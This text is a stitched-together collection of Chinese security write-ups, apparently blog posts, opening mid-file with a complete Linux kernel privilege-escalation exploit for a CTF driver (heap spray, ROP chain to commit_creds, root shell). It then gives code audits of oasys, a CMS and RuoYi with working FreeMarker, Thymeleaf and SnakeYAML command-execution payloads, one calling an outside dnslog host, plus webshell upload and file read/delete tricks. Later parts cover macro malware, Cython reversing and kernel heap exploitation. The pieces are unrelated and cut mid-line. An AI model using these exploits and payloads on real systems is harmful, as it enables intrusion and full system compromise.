%s:\n", desc);   }    for (int i = 0; i < len / 8; i += 4) {        printf(" %04x", i * 8);        for (int j = 0; j < 4; j++) {            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");       }        printf("   ");        for (int j = 0; j < 32 && j + i * 8 < len; j++) {            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');       }        puts("");   } } bool is_kernel_text_addr(size_t addr) {    return addr >= 0xFFFFFFFF80000000 && addr <= 0xFFFFFFFFFEFFFFFF; //   return addr >= 0xFFFFFFFF80000000 && addr <= 0xFFFFFFFF9FFFFFFF; } bool is_dir_mapping_addr(size_t addr) {    return addr >= 0xFFFF888000000000 && addr <= 0xFFFFc87FFFFFFFFF; } #define INVALID_KERNEL_OFFSET 0x1145141919810 const size_t kernel_addr_list[] = {        0xffffffff813275c0,        0xffffffff812d4320,        0xffffffff812d4340,        0xffffffff812d4330 }; size_t kernel_offset_query(size_t kernel_text_leak) {    if (!is_kernel_text_addr(kernel_text_leak)) {        return INVALID_KERNEL_OFFSET;   }    for (int i = 0; i < sizeof(kernel_addr_list) / sizeof(kernel_addr_list[0]); i++) {        if (!((kernel_text_leak ^ kernel_addr_list[i]) & 0xFFF)            && (kernel_text_leak - kernel_addr_list[i]) % 0x100000 == 0) {            return kernel_text_leak - kernel_addr_list[i];       }   }    printf("[-] unknown kernel addr: %#lx\n", kernel_text_leak);    return INVALID_KERNEL_OFFSET; } size_t search_kernel_offset(void *buf, int len) {    size_t *search_buf = buf;    for (int i = 0; i < len / 8; i++) {        size_t kernel_offset = kernel_offset_query(search_buf[i]);        if (kernel_offset != INVALID_KERNEL_OFFSET) {            printf("[+] kernel leak addr: %#lx\n", search_buf[i]);            printf("[+] kernel offset: %#lx\n", kernel_offset);            return kernel_offset;       }   }    return INVALID_KERNEL_OFFSET; } size_t user_cs, user_rflags, user_sp, user_ss; void save_status() {    __asm__("mov user_cs, cs;"            "mov user_ss, ss;"            "mov user_sp, rsp;"            "pushf;"            "pop user_rflags;");    puts("[*] status has been saved."); } typedef struct {    int nfds, timer; } poll_args; struct poll_list {    struct poll_list *next;    int len;    struct pollfd entries[]; }; pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; size_t poll_threads, poll_cnt; void *alloc_poll_list(void *args) {    int nfds = ((poll_args *) args)->nfds;    int timer = ((poll_args *) args)->timer;    struct pollfd *pfds = calloc(nfds, sizeof(struct pollfd));    for (int i = 0; i < nfds; i++) {        pfds[i].fd = open("/etc/passwd", O_RDONLY);        pfds[i].events = POLLERR;   }    bind_core(true, true);    pthread_mutex_lock(&mutex);    poll_threads++;    pthread_mutex_unlock(&mutex);    poll(pfds, nfds, timer);    bind_core(false, true);    pthread_mutex_lock(&mutex);    poll_threads--;    pthread_mutex_unlock(&mutex); } #define N_STACK_PPS 30 #define POLL_NUM 0x1000 pthread_t poll_tid[POLL_NUM]; void create_poll_thread(size_t size, int timer) {    poll_args *args = calloc(1, sizeof(poll_args));    args->nfds =       (size - (size + PAGE_SIZE - 1) / PAGE_SIZE * sizeof(struct poll_list)) / sizeof(struct pollfd)        + N_STACK_PPS;    args->timer = timer;    pthread_create(&poll_tid[poll_cnt++], 0, alloc_poll_list, args); } void wait_poll_start() {    while (poll_threads != poll_cnt); } void join_poll_threads(void (*confuse)(void *), void *confuse_args) {    for (int i = 0; i < poll_threads; i++) {        pthread_join(poll_tid[i], NULL);        if (confuse != NULL) {            confuse(confuse_args);       }   }    poll_cnt = poll_threads = 0; } struct callback_head {    struct callback_head *next;    void (*func)(struct callback_head *head); } __attribute__((aligned(sizeof(void *)))); #define rcu_head callback_head #define __aligned(x)                   __attribute__((__aligned__(x))) typedef unsigned long long u64; struct user_key_payload {    struct rcu_head rcu;        /* RCU destructor */    unsigned short datalen;    /* length of this data */    char data[0] __aligned(__alignof__(u64)); /* actual data */ }; #define KEY_NUM 199 int key_id[KEY_NUM]; int key_alloc(int id, void *payload, int payload_len) {    char description[0x10] = {};    sprintf(description, "%d", id);    return key_id[id] =        syscall(__NR_add_key, "user", description, payload,                payload_len - sizeof(struct user_key_payload), KEY_SPEC_PROCESS_KEYRING); } int key_update(int id, void *payload, size_t plen) {    return syscall(__NR_keyctl, KEYCTL_UPDATE, key_id[id], payload, plen); } int key_read(int id, void *bufer, size_t buflen) {    return syscall(__NR_keyctl, KEYCTL_READ, key_id[id], bufer, buflen); } int key_revoke(int id) {    return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id[id], 0, 0, 0); } int key_unlink(int id) {    return syscall(__NR_keyctl, KEYCTL_UNLINK, key_id[id], KEY_SPEC_PROCESS_KEYRING); } struct list_head {    struct list_head *next, *prev; }; struct tty_file_private {    struct tty_struct *tty;    struct file *file;    struct list_head list; }; struct page; struct pipe_inode_info; struct pipe_buf_operations; struct pipe_bufer {    struct page *page;    unsigned int offset, len;    const struct pipe_buf_operations *ops;    unsigned int flags;    unsigned long private; }; struct pipe_buf_operations {    int (*confirm)(struct pipe_inode_info *, struct pipe_bufer *);    void (*release)(struct pipe_inode_info *, struct pipe_bufer *);    int (*try_steal)(struct pipe_inode_info *, struct pipe_bufer *);    int (*get)(struct pipe_inode_info *, struct pipe_bufer *); }; void get_shell(void) {    char *args[] = {"/bin/bash", "-i", NULL};    execve(args[0], args, NULL); } #define SEQ_NUM (2048 + 128) #define TTY_NUM 72 #define PIPE_NUM 1024 int cormon_fd; char buf[0x20000]; void seq_confuse(void *args) {    open("/proc/self/stat", O_RDONLY); } size_t push_rsi_pop_rsp_ret = 0xFFFFFFFF817AD641; size_t pop_rdi_ret = 0xffffffff8116926d; size_t init_cred = 0xFFFFFFFF8245A960; size_t commit_creds = 0xFFFFFFFF810EBA40; size_t pop_r14_pop_r15_ret = 0xffffffff81001615; size_t find_task_by_vpid = 0xFFFFFFFF810E4FC0; size_t init_fs = 0xFFFFFFFF82589740; size_t pop_rcx_ret = 0xffffffff8101f5fc; size_t add_rax_rcx_ret = 0xffffffff8102396f; size_t mov_mmrax_rbx_pop_rbx_ret = 0xffffffff817e1d6d; size_t pop_rbx_ret = 0xffffffff811bce34; size_t swapgs_ret = 0xffffffff81a05418; size_t iretq = 0xffffffff81c00f97; int main() {    bind_core(true, false);    save_status();    signal(SIGSEGV, (void *) get_shell);    cormon_fd = open("/proc_rw/cormon", O_RDWR);    if (cormon_fd < 0) {        perror("[-] failed to open cormon.");        exit(-1);   }        size_t kernel_offset;    int target_key;    puts("[*] Saturating kmalloc-32 partial slabs...");    int seq_fd[SEQ_NUM];    for (int i = 0; i < SEQ_NUM; i++) {        seq_fd[i] = open("/proc/self/stat", O_RDONLY);        if (seq_fd[i] < 0) {            perror("[-] failed to open stat.");            exit(-1);       }        if (i == 2048) {            puts("[*] Spraying user keys in kmalloc-32...");            for (int j = 0; j < KEY_NUM; j++) {                setxattr("/tmp/exp", "aaaaaa", buf, 32, XATTR_CREATE);                key_alloc(j, buf, 32);                if (j == 72) {                    bind_core(false, false);                    puts("[*] Creating poll threads...");                    for (int k = 0; k < 14; k++) {                        create_poll_thread(                            PAGE_SIZE + sizeof(struct poll_list) + sizeof(struct pollfd),                            3000);                   }                    bind_core(true, false);                    wait_poll_start();               }           }            puts("[*] Corrupting poll_list next pointer...");            write(cormon_fd, buf, PAGE_SIZE);            puts("[*] Triggering arbitrary free...");            join_poll_threads(seq_confuse, NULL);            puts("[*] Overwriting user key size / Spraying seq_operations structures...");       }   }    puts("[*] Leaking kernel pointer...");    for (int i = 0; i < KEY_NUM; i++) {        int len = key_read(i, buf, sizeof(buf));        kernel_offset = search_kernel_offset(buf, len);        if (kernel_offset != INVALID_KERNEL_OFFSET) {            qword_dump("dump leak memory", buf, 0x1000);            target_key = i;            break;       }   }    if (kernel_offset == INVALID_KERNEL_OFFSET) {        puts("[-] failed to leak kernel offset,try again.");        exit(-1);   }    push_rsi_pop_rsp_ret += kernel_offset;    pop_rdi_ret += kernel_offset;    init_cred += kernel_offset;    commit_creds += kernel_offset;    pop_r14_pop_r15_ret += kernel_offset;    find_task_by_vpid += kernel_offset;    init_fs += kernel_offset;    pop_rcx_ret += kernel_offset;    add_rax_rcx_ret += kernel_offset;    mov_mmrax_rbx_pop_rbx_ret += kernel_offset;    pop_rbx_ret += kernel_offset;    swapgs_ret += kernel_offset;    iretq += kernel_offset;    puts("[*] Freeing user keys...");    for (int i = 0; i < KEY_NUM; i++) {        if (i != target_key) {            key_unlink(i);       }   }    sleep(1);    puts("[*] Spraying tty_file_private / tty_struct structures...");    int tty_fd[TTY_NUM];    for (int i = 0; i < TTY_NUM; i++) {        tty_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);        if (tty_fd[i] < 0) {            perror("[-] failed to open ptmx");       }   }    puts("[*] Leaking heap pointer...");    size_t target_object = -1;    int len = key_read(target_key, buf, sizeof(buf));    qword_dump("dump leak memory", buf, 0x1000);    for (int i = 0; i < len; i += 8) {        struct tty_file_private *head = (void *) &buf[i];        if (is_dir_mapping_addr((size_t) head->tty) && !(((size_t) head->tty) & 0xFF)            && head->list.next == head->list.prev && head->list.prev != NULL) {            qword_dump("leak tty_struct addr from tty_file_private", &buf[i],                       sizeof(struct tty_file_private));            target_object = (size_t) head->tty;            printf("[+] tty_struct addr: %p\n", target_object);            break;       }   }    if (target_object == -1) {        puts("[-] failed to leak tty_struct addr.");        exit(-1);   }    puts("[*] Freeing seq_operation structures...");    for (int i = 2048; i < SEQ_NUM; i++) {        close(seq_fd[i]);   }    bind_core(false, false);    puts("[*] Creating poll threads...");    for (int i = 0; i < 192; i++) {        create_poll_thread(sizeof(struct poll_list) + sizeof(struct pollfd), 3000);   }    bind_core(true, false);    wait_poll_start();    puts("[*] Freeing corrupted key...");    key_unlink(target_key);    sleep(1); // GC key    puts("[*] Overwriting poll_list next pointer...");    char key[32] = {};    *(size_t *) &buf[0] = target_object - 0x18;    for (int i = 0; i < KEY_NUM; i++) {        setxattr("/tmp/exp", "aaaaaa", buf, 32, XATTR_CREATE);        key_alloc(i, key, 32);   }    puts("[*] Freeing tty_struct structures...");    for (int i = 0; i < TTY_NUM; i++) {        close(tty_fd[i]);   }    sleep(1); // GC TTYs    int pipe_fd[PIPE_NUM][2];    puts("[*] Spraying pipe_bufer structures...");    for (int i = 0; i < PIPE_NUM; i++) {        pipe(pipe_fd[i]);        write(pipe_fd[i][1], "aaaaaa", 6);   }    puts("[*] Triggering arbitrary free...");    join_poll_threads(NULL, NULL);   ((struct pipe_bufer *) buf)->ops = (void *) (target_object + 0x300);   ((struct pipe_buf_operations *) &buf[0x300])->release = (void *) push_rsi_pop_rsp_ret;    size_t *rop = (size_t *) buf;    *rop++ = pop_r14_pop_r15_ret;    rop++;    rop++; // ops    // commit_creds(&init_creds)    *rop++ = pop_rdi_ret;    *rop++ = init_cred;    *rop++ = commit_creds;    // current = find_task_by_vpid(getpid())    *rop++ = pop_rdi_ret;    *rop++ = getpid();    *rop++ = find_task_by_vpid;    // current->fs = &init_fs    *rop++ = pop_rcx_ret;    *rop++ = 0x6e0;    *rop++ = add_rax_rcx_ret;    *rop++ = pop_rbx_ret;    *rop++ = init_fs;    *rop++ = mov_mmrax_rbx_pop_rbx_ret;    rop++;    // back to user    *rop++ = swapgs_ret;    *rop++ = iretq;    *rop++ = (uint64_t) get_shell;    *rop++ = user_cs;    *rop++ = user_rflags;    *rop++ = user_sp;    *rop++ = user_ss;    puts("[*] Spraying ROP chain...");    for (int i = 0; i < 31; i++) {        key_alloc(i, buf, 1024);   }    puts("[*] Hijacking control flow...");    for (int i = 0; i < PIPE_NUM; i++) {        close(pipe_fd[i][0]);        close(pipe_fd[i][1]);   }    sleep(5);    return 0; } 多试几次还是可以成功的。
oasys系统代码审计
简述: oasys是一个OA办公自动化系统,使用Maven进行项目管理,基于springboot框架开发的项目,mysql底层数据库,前端采用freemarker模板引擎,Bootstrap作为前端UI框架,集成了jpa、mybatis等框架。 下载地址:https://github.com/misstt123/oasys 此项目部署极为简单,我使用的是phpstudy的5.7版本mysql,修改application.properties配置,在IDEA导入oasys.sql数据后,就可以直接运行 并访问后台地址:http://localhost:8088/logins 注意别端口冲突 CSRF: 登录后台,在用户面板处,修改便签功能存在csrf漏洞。 点击修改,抓包,点击生成CSRF的Poc: 将生成Poc的URL复制到浏览器,访问: 访问后,发现已经按照Poc上内容进行了修改: SQL注入: 代码分析: 在pom文件发现采用mybatis依赖: 全局搜索${ 找到outtype参数,定位到xml文件: 符合sql注入条件,于是开始找对应接口,参数,全局搜索allDirector字段: 定位到接口层,于是找接口实现类,发现无,于是全局搜索该接口名称,找哪里引用了此接口: 发现AddController层引用该接口,并通过mapper进行数据库操作,在该controller层搜索原接口方法,定位到具体代码块: 可以看到该参数没有经过任何过滤,于是根据代码块注释进行漏洞复现: 在后台找到通讯录,找到外部通讯录,点击添加联系人: 抓包找到对应数据包: 将localhost换成自己对应的IP,放入sqlmap验证成功: 其实从最初的xml文件来看,其它几个参数也存在sql注入。 存储XSS: 登录后台后,用户处点击修改信息,插入xss代码造成弹窗。 根据提交保存的接口全局搜索: 找到相关信息,根据代码分析,无任何过滤直接存储,造成xss漏洞: 此后台很多地方也均无过滤,可以直接插入xss代码执行。 任意文件读取漏洞: 在控制层UserpanelController处,如下代码存在逻辑错误导致任意文件读取: 可以看出此代码块是用来处理图像请求,并将数据返回到http响应的代码。 这段代码我初看并没看懂,于是对代码进行详细分析: 红框代码逻辑很简单,先传入的f.getPath()值,再通过FileInputStream进行文件读取并返回到http响应。 关键就是f.getPath()的值怎么来的? 如上红框代码,f.getPath()的值来自于rootpath与path的拼接,而path的值则是,先通过request.getRequestURI()获取,再将/image替换为空得来。 但rootpath的值呢? 于是我在该类搜索rootpath找到其定义代码: 发现以@Value注解定义rootpath的值,而@Value注解的作用就是从项目配置文件中获取信息,于是转到配置文件,搜索关键字:rootpath 继续回到controller代码,此时找到rootpath的值,也明白了读取文件的逻辑,于是尝试构造多个/image..路径读取我D盘upload下的文件: 如下图,读取成功:
某小型CMS漏洞复现审计
SQL注入 漏洞复现: 登陆后台,点击页面删除按钮,抓包: rid参数存在sql注入,放入sqlmap检测成功: 代码分析: Ctrl+Shift+F检索路由: 定位具体代码,为删除功能: 发现deleteByIds调用了传参rid,跟进: 发现进入Dao层,此处依旧调用的deleteByIds,于是找ICommonDao接口实现类: 定位到该类,发现以ids参数接受原先用户传入的rid参数,并在new一个sql对象后,直接将ids参数进行拼接,并通过原生jdbc执行返回结果。 模板注入 内容管理-文件管理-themes-flatweb-about.html,选择编辑,插入payload: <#assignvalue="freemarker.template.utility.Execute"?new()>${value("calc.exe")} 访问首页,点击关与我们: 执行命令,弹出计算机: 代码分析: 配置文件存在freemark 文件上传 漏洞复现: 这个CMS感觉上传文件路径不是很好找,所以上传时先找个合适的目录再点击上传文件。 文件管理处点击admin进入目录: 再点击文件上传: 通过上传jsp马,不过需要以jspx或者jspf后缀绕过上传。 代码分析: 上传时抓包,根据路由全局搜索: 定位到具体代码段: 用filePath参数接受path参数与file参数拼接,再从filePth参数中取出文件名赋值给fname参数。 跟进getSuffix: 发现只是以简单点来获取后缀。 检测是否为jsp文件后,如果不为则进入为空判断,并以FileOutputStream与write直接上传写入。 任意文件删除 漏洞复现: 上传jsp马后,点击右方删除文件,抓包。 将下方数据包改为admin上级目录,删除我先前上传但没找到路径的test.jspx文件,删除成功: 代码分析: 根据数据包在IDEA全局搜索,定位到delete代码段: 该方法接收三个参数:path、name 和 data,这些参数通过 \@RequestParam注解从请求中提取,并进行简单拼接,赋值给file对象,此时file对象代表实际的文件名称。 跟进delete方法: 发现对传入的path参数进行了检查,继续跟进: 发现仅仅采用java自带的类java.security.AccessController下的checkPermission(Permissionperm)静态方法校验权限。 如果权限满足便直接通过fs.delete()方法删除,造成任意文件删除漏洞。
逆向分析Office VBS宏类型文档
该题目贴合实际,在实战中经常遇到此类宏病毒。 将Office文档中嵌入以VBA(Visual Basic forApplications)编写的宏代码脚本,当运行Office文档时,便可以执行各种命令。 VBA脚本文件重定向能够将脚本默认文件vbaProject.bin进行替换,在打开文本时加载其他文件,增加分析者的分析复杂程度。 1、初步分析 在 Office 2007 之后的 Office 文档格式采用的是 OOXML 标准格式。那什么是OOXML 标准?这里的 OOXML 的全称是 Office Open XML File Formats或被称为 OpenXML 格式,这是一个基于 zip+xml定义的文档格式。简单的说就是Office文档是一些xml文档压缩文件,因此我们将一个word文档进行zip解压,可以获得一些xml文件 打开发现是一堆乱码,此时就需要借助大佬们的工具了。 2、oletools oletools对该文件进行分析,oletools将宏源码完整的还原了出来。 官网:https://github.com/decalage2/oletools/releases 这里采用pip安装模式 pip install -U oletools 运行命令 olevba -c protected_secret.docm > code.vbs 3、分析vbs代码 直接搜索:AutoOpen 里面有太多垃圾代码了 首先将输入的flag异或7 有点意思了,解码exe的base64编码,然后运行exe执行操作,最后再删除exe程序 4、运行Vbs得到exe 将重要的代码拿出来,然后生成exe Set fso = CreateObject("Scripting.FileSystemObject") Set objShell = CreateObject("WScript.Shell") /* 省略了一大堆 base64赋值串 */ tempPath = "D:\temp11\temp" Set tempfile = fso.CreateTextFile(tempPath, True) fso.GetFile(tempPath).Attributes = 2 tempfile.WriteLine xpkdb tempfile.Close batPath = "D:\temp11\temp.bat" Set batFile = fso.CreateTextFile(batPath, True) fso.GetFile(batPath).Attributes = 2 batFile.WriteLine "@echo off" batFile.WriteLine "certutil -decode temp1 temp|certutil -decode temp temp.exe" batFile.Close Set objExec = objShell.Exec(batPath) 保存为vbs运行,但是我电脑有点小问题没跑运行起来 因此我们采取另一种方法,直接将base64提取出来 代码很简单,将提取出来的代码放进Cyberchef进行提取即可 assets/download-20240908163140-1jiyyj2.exe5、分析exe 很简单的代码,就是位移 6、解密 v9 = [0]*54 v9[0] = 4288 v9[1] = 4480 v9[2] = 5376 v9[3] = 4352 v9[4] = 5312 v9[5] = 4160 v9[6] = 7936 v9[7] = 5184 v9[8] = 6464 v9[9] = 6528 v9[10] = 5632 v9[11] = 3456 v9[12] = 7424 v9[13] = 5632 v9[14] = 6336 v9[15] = 6528 v9[16] = 6720 v9[17] = 6144 v9[18] = 6272 v9[19] = 7488 v9[20] = 6656 v9[21] = 7296 v9[22] = 7424 v9[23] = 2432 v9[24] = 2432 v9[25] = 2432 v9[26] = 5632 v9[27] = 4416 v9[28] = 3456 v9[29] = 7168 v9[30] = 6528 v9[31] = 7488 v9[32] = 6272 v9[33] = 5632 v9[34] = 3520 v9[35] = 6208 v9[36] = 5632 v9[37] = 4736 v9[38] = 6528 v9[39] = 6400 v9[40] = 7488 v9[41] = 3520 v9[42] = 5632 v9[43] = 5184 v9[44] = 3456 v9[45] = 7488 v9[46] = 7296 v9[47] = 3200 v9[48] = 6272 v9[49] = 7424 v9[50] = 2432 v9[51] = 2432 v9[52] = 2432 v9[53] = 7808 flag = '' for i in range(54):   flag += chr(v9[i] >> 6 ^ 7) print(flag)
CPython逆向实战分析
Python代码转换为C代码的时候,将会大大增加框架代码量。 https://moonlet.gitbooks.io/cython-document-zh_cn/content/ch1-basic_tutorial.html1、正向py->c 先有正向,再有逆向 pip install cython 写一个简单的pyx文件 .pyx 文件是由 Cython 编程语言 "编写" 而成的 Python 扩展模块源代码文件 print("hello") 写一个 setup.py文件 from distutils.core import setup from Cython.Build import cythonize setup(   ext_modules = cythonize("test.pyx") ) 使用命令开始编译 python setup.py build_ext --inplace 生成如下文件 打开test.c发现有几千行代码 单纯的一行python代码,生成为c代码就几千行 调用so文件 2、逆向分析 2.1 字符串类型 _Pyx_CreateStringTabAndInitStrings 全局字符串赋值一般在_Pyx_CreateStringTabAndInitStrings 中,该函数中使用的字符串定义数组形如: typedef struct {     PyObject **p;     const char *s;     const Py_ssize_t n;     const char* encoding;     const char is_unicode;     const char is_str;     const char intern; } __Pyx_StringTabEntry; 而字符串是通过__Pyx_StringTabEntry 的数组进行初始化的,也就是说当我们在该函数中看到以下伪代码时: v8 = _mm_unpacklo_epi64(&qword_28A98, "AttributeError"); v9 = 15LL; v10 = 0LL; v11 = 0x100; v12 = 1; 就代表这是一个{&qword_28A98, "AttributeError", 15, 0, 1, 0, 1} 的__Pyx_StringTabEntry ,也就是说qword_28A98 中将要初始化一个内容是"AttributeError" 的字符串对象的地址,在后续调用中,调用到AttributeError字符串的地方都会用&qword_28A98 指代 2.2 整数类型 _pyx_pymod_exec_chal qword_29170 = PyLong_FromLong(113LL, v9, v244, v245); if ( qword_29170 ) qword_29170 中将存储一个值为113 的整数类型的Python对象。 qword_29600 = PyLong_FromString("2654435769", 0LL, 0LL); if ( qword_29600 ) 大数会用PyLong_FromString 函数来初始化,这里qword_29600 中将存储一个值为2654435769 的整数类型的Python对象,后续用到2654435769的地方将使用qword_29600 。 2.3 import写法 v539 = _Pyx_ImportDottedModule_constprop_0(random); if ( PyDict_SetItem(_pyx_mstate_global_static, random, v539) < 0 ) { 导入``random``模块,同``import random 3、实战分析 这里提供一道自己出的题目,采用了RC4加密,流程很简单。 让我们开干 把提供的so文件拖进IDA中 而且这个函数 _Pyx_CreateStringTabAndInitStrings() 非常大,不能反编译 目前不知道这个函数的加密,我们先打印其相关的属性,看看能不能找到蛛丝马迹 import test dir(test) 发现是RC4加密,这样逻辑就清晰了 所以现在的目标是获得RC4的秘钥和密文咯,假设RC4没有魔改 刚才我们在函数_Pyx_CreateStringTabAndInitStrings 找到了非常类似密文的值 9d7422eabf8baf369c09121f02e940099d9c6b538d88e30aac08 但是没有找到 秘钥,说明秘钥可能就不是字符串,而是byte类型! 我们先搜索RC4相关函数 发现代码非常多,暂时先不去分析RC4算法 看看哪里调用了我们的RC4算法 函数:_pyx_pymod_exec_test 但是byte类型怎么初始化呢? 我们编写一个demo,然后反编译去查看初始化方式即可 demo.pyx key = b'mykekekeke' en_flag = b'12312312312312' demo_setup.pyx from distutils.core import setup from Cython.Build import cythonize setup(   ext_modules = cythonize("demo.pyx") ) 运行命令 python demo_setup.py build_ext --inplace 先看看c文件 还是很清晰的,直接IDA分析so文件 发现byte类型也存储在函数_Pyx_CreateStringTabAndInitStrings 所以我们再翻阅一下,成功找到类似key的代码 DASCTF{cpython_is_so_easy}
若依 RuoYi4.6.0 代码审计
环境布置: 到官网下载源码:https://github.com/yangzongzhuan/RuoYi 采用phpstudy集成数据库,5.7版本。JDK1.8。 IDEA打开项目,等待自动加载,修改application-druid.yml配置文件:数据库名,账号密码,连接数据库,修改application.yml中的端口,避免与80端口冲突。 导入:quartz.sql与ry_20201214.sql文件。 运行RuoYiApplication文件。 访问后台:http://localhost:25001/login Sql注入漏洞: 由于该项目采用了mybatis开发,常见的找sql注入的方法就是全局搜索${ 定位到可疑参数: 根据id值selectRoleList全局搜索,从xml定位到dao层: 右键单击,找该接口的使用,在使用处发现selectRoleList方法,全局搜索该方法,定位controller层查看接口与传参: 如下,定位到controller层: 分析代码:首先以@RequiresPermissions注解表明接口访问权限,再以@PostMapping注解表明接收接口,并且以@ResponseBody注解表明回将返回值写入http响应。 此方法会接收一个SysRole类型的role值,并且将接受的role值以selectRoleList方法处理后返回给list,最后返回给http响应。 于是我们现在需要分析 1:role对象在接收它的参数时是否有过滤, 2:selectRoleList方法在处理role接收后的值是否有过滤。 跟进SysRole类,发现无过滤: 跟进selectRoleList方法,发现无过滤: 于是确定原dataScope参数存在sql注入,到前端功能找对应数据包。 发现不存在dataScope参数,手动添加: 将localhost换成主机IP,放入sqlmap验证 Shiro反序列化: 首先查看项目pom文件,发现shiro版本为1.7.0: 全局搜索cipherKey,定位到密钥值: 由此结合shiro反序列化利用工具利用。 Shiro未授权访问: 查看shiro配置文件ShiroConfig.java,anon为匿名拦截器,不需要登录就能访问。authc为登录拦截器,需要登录认证才能访问。 Thymeleaf模板注入: 本框架采用了 Thymeleaf 模板,全局搜索:: 根据Mapping构造路径,发送poc fragment=__*%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x 计划任务RCE: 如图添加计划任务 将调用目标字符修改如下: org.yaml.snakeyaml.Yaml.load(\'!!javax.script.ScriptEngineManager \[!!java.net.URLClassLoader \[\[!!java.net.URL \[\"http://w2h0ib.dnslog.cn\"\]\]\]\]\') 调用执行: dnslog出现响应: 任意文件下载漏洞: 继续如上创建定时任务: ruoYiConfig.setProfile(\'/home/clown/Project/RuoYi-v4.6.0/ruoyi-admin/src/main/resources/application.yml\') 执行后访问如下路径实现文件下载: /common/download/resource?resource=.zip 跟踪下载路径定位代码: 该处代码先接收resource的值,再将该值放入checkAllowDownload方法里面校验后,进入下载文件的代码调用。 于是跟进checkAllowDownload方法: 发现该方法主要做了两件事: 1:禁止掉resource中的目录穿越../ 2:以白名单形式检查文件下载规则 这里主要跟进一下2的代码: 取点后缀: 再以点后缀进行白名单匹配: 如果在原controller层if判断为假,进入下载文件代码流程: 至此可发现下载文件的路径不可控,且类型存在白名单限制! 此时我们继续跟进本地资源路径的代码: 我们可以发现本地资源路径是通过getProfile进行获取,且该RuoYiConfig类存在setProfile方法,由此可知,可以通过计划任务调用该类的setProfile方法设置好路径,直接绕过了前面的if过滤: 之后即可调用/common/download/resource接口任意下载文件。
Linux kernel 堆溢出利用方法
前言 本文还是用一道例题来讲解几种内核堆利用方法,内核堆利用手段比较多,可能会分三期左右写。进行内核堆利用前,可以先了解一下内核堆的基本概念,当然更好去找一些详细的内核堆的基础知识。 概述 Linux kernel 将内存分为 页(page)→区(zone)→节点(node) 三级结构,主要有两个内存管理器—— buddy system 与 slub allocator,前者负责以内存页为粒度管理所有可用的物理内存,后者则以slab分配器为基础向前者请求内存页并划分为多个较小的对象(object)以进行细粒度的内存管理。 budy system buddy system 以 page 为粒度管理着所有的物理内存,在每个 zone 结构体中都有一个 free_area 结构体数组,用以存储 buddy system 按照 order 管理的页面: 分配: 首先会将请求的内存大小向 2 的幂次方张内存页大小对齐,之后从对应的下标取出连续内存页。 若对应下标链表为空,则会从下一个 order 中取出内存页,一分为二,装载到当前下标对应链表中,之后再返还给上层调用,若下一个 order 也为空则会继续向更高的 order 进行该请求过程。 释放: 将对应的连续内存页释放到对应的链表上。 检索是否有可以合并的内存页,若有,则进行合成,放入更高 order 的链表中。 slub allocator slub_allocator 是基于 slab_alloctor 的分配器。slab allocator 向 buddy system 请求单张或多张连续内存页后再分割成同等大小的 object 返还给上层调用者来实现更为细粒度的内存管理。 分配: 首先从 kmem_cache_cpu 上取对象,若有则直接返回。 若 kmem_cache_cpu 上的 slub 已经无空闲对象了,对应 slub 会被从 kmem_cache_cpu 上取下,并尝试从 partial 链表上取一个 slub 挂载到 kmem_cache_cpu 上,然后再取出空闲对象返回。 若 kmem_cache_node 的 partial 链表也空了,那就向 buddy system 请求分配新的内存页,划分为多个 object 之后再给到 kmem_cache_cpu,取空闲对象返回上层调用。 释放: 若被释放 object 属于 kmem_cache_cpu 的 slub,直接使用头插法插入当前 CPU slub 的 freelist。 若被释放 object 属于 kmem_cache_node 的 partial 链表上的 slub,直接使用头插法插入对应 slub 的 freelist。 若被释放 object 为 full slub,则其会成为对应 slub 的 freelist 头节点,且该 slub 会被放置到 partial 链表。 heap_bof 题目分析 题目给了源码,存在UAF和heap overflow两种漏洞。内核版本为4.4.27 #include <asm/uaccess.h> #include <linux/cdev.h> #include <linux/device.h> #include <linux/fs.h> #include <linux/kernel.h> #include <linux/module.h> #include <linux/slab.h> #include <linux/types.h> struct class *bof_class; struct cdev cdev; int bof_major = 256; char *ptr[40];// 指针数组,用于存放分配的指针 struct param {    size_t len;       // 内容长度    char *buf;        // 用户态缓冲区地址    unsigned long idx;// 表示 ptr 数组的 索引 }; long bof_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {    struct param p_arg;    copy_from_user(&p_arg, (void *) arg, sizeof(struct param));    long retval = 0;    switch (cmd) {        case 9:            copy_to_user(p_arg.buf, ptr[p_arg.idx], p_arg.len);            printk("copy_to_user: 0x%lx\n", *(long *) ptr[p_arg.idx]);            break;        case 8:            copy_from_user(ptr[p_arg.idx], p_arg.buf, p_arg.len);            break;        case 7:            kfree(ptr[p_arg.idx]);            printk("free: 0x%p\n", ptr[p_arg.idx]);            break;        case 5:            ptr[p_arg.idx] = kmalloc(p_arg.len, GFP_KERNEL);            printk("alloc: 0x%p, size: %2lx\n", ptr[p_arg.idx], p_arg.len);            break;        default:            retval = -1;            break;   }    return retval; } static const struct file_operations bof_fops = {       .owner = THIS_MODULE,       .unlocked_ioctl = bof_ioctl,//linux 2.6.36内核之后unlocked_ioctl取代ioctl }; static int bof_init(void) {    //设备号    dev_t devno = MKDEV(bof_major, 0);    int result;    if (bof_major)//静态分配设备号        result = register_chrdev_region(devno, 1, "bof");    else {//动态分配设备号        result = alloc_chrdev_region(&devno, 0, 1, "bof");        bof_major = MAJOR(devno);   }    printk("bof_major /dev/bof: %d\n", bof_major);    if (result < 0) return result;    bof_class = class_create(THIS_MODULE, "bof");    device_create(bof_class, NULL, devno, NULL, "bof");    cdev_init(&cdev, &bof_fops);    cdev.owner = THIS_MODULE;    cdev_add(&cdev, devno, 1);    return 0; } static void bof_exit(void) {    cdev_del(&cdev);    device_destroy(bof_class, MKDEV(bof_major, 0));    class_destroy(bof_class);    unregister_chrdev_region(MKDEV(bof_major, 0), 1);    printk("bof exit success\n"); } MODULE_AUTHOR("exp_ttt"); MODULE_LICENSE("GPL"); module_init(bof_init); module_exit(bof_exit); boot.sh 这道题是多核多线程。并且开启了smep和smap。 #!/bin/bash qemu-system-x86_64 \  -initrd rootfs.cpio \  -kernel bzImage \  -m 512M \  -nographic \  -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \  -monitor /dev/null \  -smp cores=2,threads=2 \  -cpu 